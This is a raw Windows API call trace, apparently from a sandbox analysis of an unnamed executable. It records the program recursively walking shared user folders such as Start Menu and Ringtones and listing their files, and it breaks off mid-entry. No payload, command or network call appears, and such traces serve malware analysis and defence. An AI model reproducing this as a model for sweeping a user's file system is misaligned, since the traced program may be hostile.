[0092.343] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\" [0092.343] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\") returned="" [0092.344] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.344] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 07.wma") returned="Ringtone 07.wma" [0092.344] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\" [0092.344] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\") returned="" [0092.344] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.344] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 08.wma") returned="Ringtone 08.wma" [0092.344] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\" [0092.344] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\") returned="" [0092.344] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.344] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 09.wma") returned="Ringtone 09.wma" [0092.345] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\" [0092.345] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\") returned="" [0092.345] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\*.*") returned="*.*" [0092.345] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0092.345] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\*.*") returned="*.*" [0092.345] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\Manifest\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0092.346] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\*.*") returned="*.*" [0092.346] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\Sessions\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0092.346] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\*.*") returned="*.*" [0092.346] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\Upload\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0092.347] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\*.*") returned="*.*" [0092.347] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3b5620, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x3b5620, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x700055, dwReserved1=0x6f006c, cFileName=".", cAlternateFileName="")) returned 0x502618 [0092.347] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.347] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\*.*") returned="*.*" [0092.347] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\" [0092.348] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\") returned="" [0092.348] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.348] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Default Programs.lnk") returned="Default Programs.lnk" [0092.348] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\" [0092.348] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\") returned="" [0092.348] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.348] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\desktop.ini") returned="desktop.ini" [0092.348] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4018e0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x4018e0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x4fa570, cFileName=".", cAlternateFileName="")) returned 0x502658 [0092.349] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\*.*") returned="*.*" [0092.350] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3b5620, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x3b5620, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0092.350] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*.*") returned="*.*" [0092.350] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3b5620, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x3b5620, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0092.351] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0092.351] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\*.*") returned="*.*" [0092.351] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\" [0092.351] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\") returned="" [0092.351] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0092.351] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0092.351] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Desktop.ini") returned="Desktop.ini" [0092.351] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\" [0092.352] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\") returned="" [0092.352] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0092.352] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*.*") returned="*.*" [0092.352] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\" [0092.352] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\") returned="" [0092.352] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0092.352] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Calculator.lnk") returned="Calculator.lnk" [0092.352] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\" [0092.353] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\") returned="" [0092.353] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0092.353] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Desktop.ini") returned="Desktop.ini" [0092.353] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\" [0092.353] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\") returned="" [0092.353] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0092.353] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0092.353] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\displayswitch.lnk") returned="displayswitch.lnk" [0092.353] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\" [0092.353] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\") returned="" [0092.354] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Math Input Panel.lnk") returned="Math Input Panel.lnk" [0092.354] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\" [0092.354] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\") returned="" [0092.354] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Mobility Center.lnk") returned="Mobility Center.lnk" [0092.354] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\" [0092.354] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\") returned="" [0092.354] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\NetworkProjection.lnk") returned="NetworkProjection.lnk" [0092.354] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\" [0092.355] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\") returned="" [0092.355] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Paint.lnk") returned="Paint.lnk" [0092.355] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\" [0092.355] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\") returned="" [0092.355] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Remote Desktop Connection.lnk") returned="Remote Desktop Connection.lnk" [0092.355] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\" [0092.355] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\") returned="" [0092.355] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Snipping Tool.lnk") returned="Snipping Tool.lnk" [0092.355] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\" [0092.355] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\") returned="" [0092.356] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Sound Recorder.lnk") returned="Sound Recorder.lnk" [0092.356] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\" [0092.356] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\") returned="" [0092.356] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Sticky Notes.lnk") returned="Sticky Notes.lnk" [0092.356] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\" [0092.356] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\") returned="" [0092.356] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Sync Center.lnk") returned="Sync Center.lnk" [0092.356] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3db780, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x3db780, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f220, dwReserved1=0x4fa59a, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0092.357] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\*.*") returned="*.*" [0092.357] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\" [0092.357] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\") returned="" [0092.358] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Character Map.lnk") returned="Character Map.lnk" [0092.358] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\" [0092.358] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\") returned="" [0092.358] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Desktop.ini") returned="Desktop.ini" [0092.358] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\" [0092.358] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\") returned="" [0092.358] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\dfrgui.lnk") returned="dfrgui.lnk" [0092.359] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Disk Cleanup.lnk") returned="Disk Cleanup.lnk" [0092.359] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Resource Monitor.lnk") returned="Resource Monitor.lnk" [0092.359] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Information.lnk") returned="System Information.lnk" [0092.359] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\System Restore.lnk") returned="System Restore.lnk" [0092.359] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Task Scheduler.lnk") returned="Task Scheduler.lnk" [0092.360] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Windows Easy Transfer Reports.lnk") returned="Windows Easy Transfer Reports.lnk" [0092.360] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*.*") returned="*.*" [0092.360] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x3db780, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x3db780, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200057, dwReserved1=0x4f0054, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0092.360] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\*.*") returned="*.*" [0092.361] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\Desktop.ini") returned="Desktop.ini" [0092.361] PathFindFileNameA 